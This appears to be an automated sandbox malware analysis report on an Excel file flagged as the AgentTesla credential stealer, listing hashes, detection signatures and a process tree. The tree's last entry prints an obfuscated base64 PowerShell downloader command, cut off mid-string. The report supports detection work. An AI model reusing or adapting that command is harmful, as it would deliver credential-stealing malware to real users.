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Windows
Analysis Report
Chitanta bancara - #113243.xlam.xlsx
Overview
General Information
| Sample name: | Chitanta bancara - #113243.xlam.xlsx |
| Analysis ID: | 1393424 |
| MD5: | 07542f5b703f5d2ffafb8747e711bb5a |
| SHA1: | d03e0038173f13d6a9c92a783a3dae9b9df42081 |
| SHA256: | f8f1e4cba7ff359de7b01dbe1205bac6d886fb1de9190d4f2f614a76b618a9a1 |
| Tags: | xlamxlsx |
| Infos: |   |
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Detection
AgentTesla
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Powershell download and load assembly
Sigma detected: Powershell download payload from hardcoded c2 list
System process connects to network (likely due to code injection or exploit)
Yara detected AgentTesla
Bypasses PowerShell execution policy
Check if machine is in data center or colocation facility
Connects to a pastebin service (likely for C&C)
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Contains functionality to log keystrokes (.Net Source)
Document exploit detected (process start blacklist hit)
Injects a PE file into a foreign processes
Installs new ROOT certificates
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sample uses string decryption to hide its real strings
Shellcode detected
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if the current process is being debugged
Contains functionality to download and execute PE files
Contains functionality to download and launch executables
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious DNS Query for IP Lookup Service APIs
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w7x64
EXCEL.EXE (PID: 2212 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) 
EQNEDT32.EXE (PID: 980 cmdline: "C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) 
wscript.exe (PID: 2332 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\roman .vbs" MD5: 979D74799EA6C8B8167869A68DF5204A) 
powershell.exe (PID: 1148 cmdline: C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.exe" - command "$ codigo = ' ZgB1DgTreG 4DgTreYwB0 DgTreGkDgT rebwBuDgTr eCDgTreDgT reRDgTreBv DgTreHcDgT rebgBsDgTr eG8DgTreYQ BkDgTreEQD gTreYQB0Dg TreGEDgTre RgByDgTreG 8DgTrebQBM DgTreGkDgT rebgBrDgTr eHMDgTreID gTreB7DgTr eCDgTreDgT recDgTreBh DgTreHIDgT reYQBtDgTr eCDgTreDgT reKDgTreBb DgTreHMDgT redDgTreBy DgTreGkDgT rebgBnDgTr eFsDgTreXQ BdDgTreCQD gTrebDgTre BpDgTreG4D gTreawBzDg TreCkDgTre IDgTreDgTr ekDgTreHcD gTreZQBiDg TreEMDgTre bDgTreBpDg TreGUDgTre bgB0DgTreC DgTreDgTre PQDgTregDg TreE4DgTre ZQB3DgTreC 0DgTreTwBi DgTreGoDgT reZQBjDgTr eHQDgTreID gTreBTDgTr eHkDgTrecw B0DgTreGUD gTrebQDgTr euDgTreE4D gTreZQB0Dg TreC4DgTre VwBlDgTreG IDgTreQwBs DgTreGkDgT reZQBuDgTr eHQDgTreOw DgTregDgTr eCQDgTrecw BoDgTreHUD gTreZgBmDg TreGwDgTre ZQBkDgTreE wDgTreaQBu DgTreGsDgT recwDgTreg DgTreD0DgT reIDgTreBH DgTreGUDgT redDgTreDg TretDgTreF IDgTreYQBu DgTreGQDgT rebwBtDgTr eCDgTreDgT reLQBJDgTr eG4DgTrecD gTreB1DgTr eHQDgTreTw BiDgTreGoD gTreZQBjDg TreHQDgTre IDgTreDgTr ekDgTreGwD gTreaQBuDg TreGsDgTre cwDgTregDg TreC0DgTre QwBvDgTreH UDgTrebgB0 DgTreCDgTr eDgTreJDgT reBsDgTreG kDgTrebgBr DgTreHMDgT reLgBMDgTr eGUDgTrebg BnDgTreHQD gTreaDgTre DgTre7DgTr eCDgTreDgT reZgBvDgTr eHIDgTreZQ BhDgTreGMD gTreaDgTre DgTregDgTr eCgDgTreJD gTreBsDgTr eGkDgTrebg BrDgTreCDg TreDgTreaQ BuDgTreCDg TreDgTreJD gTreBzDgTr eGgDgTredQ BmDgTreGYD gTrebDgTre BlDgTreGQD gTreTDgTre BpDgTreG4D gTreawBzDg TreCkDgTre IDgTreB7Dg TreCDgTreD gTredDgTre ByDgTreHkD gTreIDgTre B7DgTreCDg TreDgTrecg BlDgTreHQD gTredQByDg TreG4DgTre IDgTreDgTr ekDgTreHcD gTreZQBiDg TreEMDgTre bDgTreBpDg TreGUDgTre bgB0DgTreC 4DgTreRDgT reBvDgTreH cDgTrebgBs DgTreG8DgT reYQBkDgTr eEQDgTreYQ B0DgTreGED gTreKDgTre DgTrekDgTr eGwDgTreaQ BuDgTreGsD gTreKQDgTr egDgTreH0D gTreIDgTre BjDgTreGED gTredDgTre BjDgTreGgD gTreIDgTre B7DgTreCDg TreDgTreYw BvDgTreG4D gTredDgTre BpDgTreG4D gTredQBlDg TreCDgTreD gTrefQDgTr egDgTreH0D gTreOwDgTr egDgTreHID gTreZQB0Dg TreHUDgTre cgBuDgTreC DgTreDgTre JDgTreBuDg TreHUDgTre bDgTreBsDg TreCDgTreD gTrefQDgTr e7DgTreCDg TreDgTreJD gTreBsDgTr eGkDgTrebg BrDgTreHMD gTreIDgTre DgTre9DgTr eCDgTreDgT reQDgTreDg TreoDgTreC cDgTreaDgT reB0DgTreH QDgTrecDgT reBzDgTreD oDgTreLwDg TrevDgTreH UDgTrecDgT reBsDgTreG 8DgTreYQBk DgTreGQDgT reZQBpDgTr eG0DgTreYQ BnDgTreGUD gTrebgBzDg TreC4DgTre YwBvDgTreG 0DgTreLgBi DgTreHIDgT reLwBpDgTr eG0DgTreYQ BnDgTreGUD gTrecwDgTr evDgTreDDg TreDgTreMD gTreDgTre0 DgTreC8DgT reNwDgTrez DgTreDkDgT reLwDgTrey DgTreDIDgT reNwDgTrev DgTreG8DgT recgBpDgTr eGcDgTreaQ BuDgTreGED gTrebDgTre DgTrevDgTr eG4DgTreZQ B3DgTreF8D gTreaQBtDg TreGEDgTre ZwBlDgTreC 4DgTreagBw DgTreGcDgT rePwDgTrex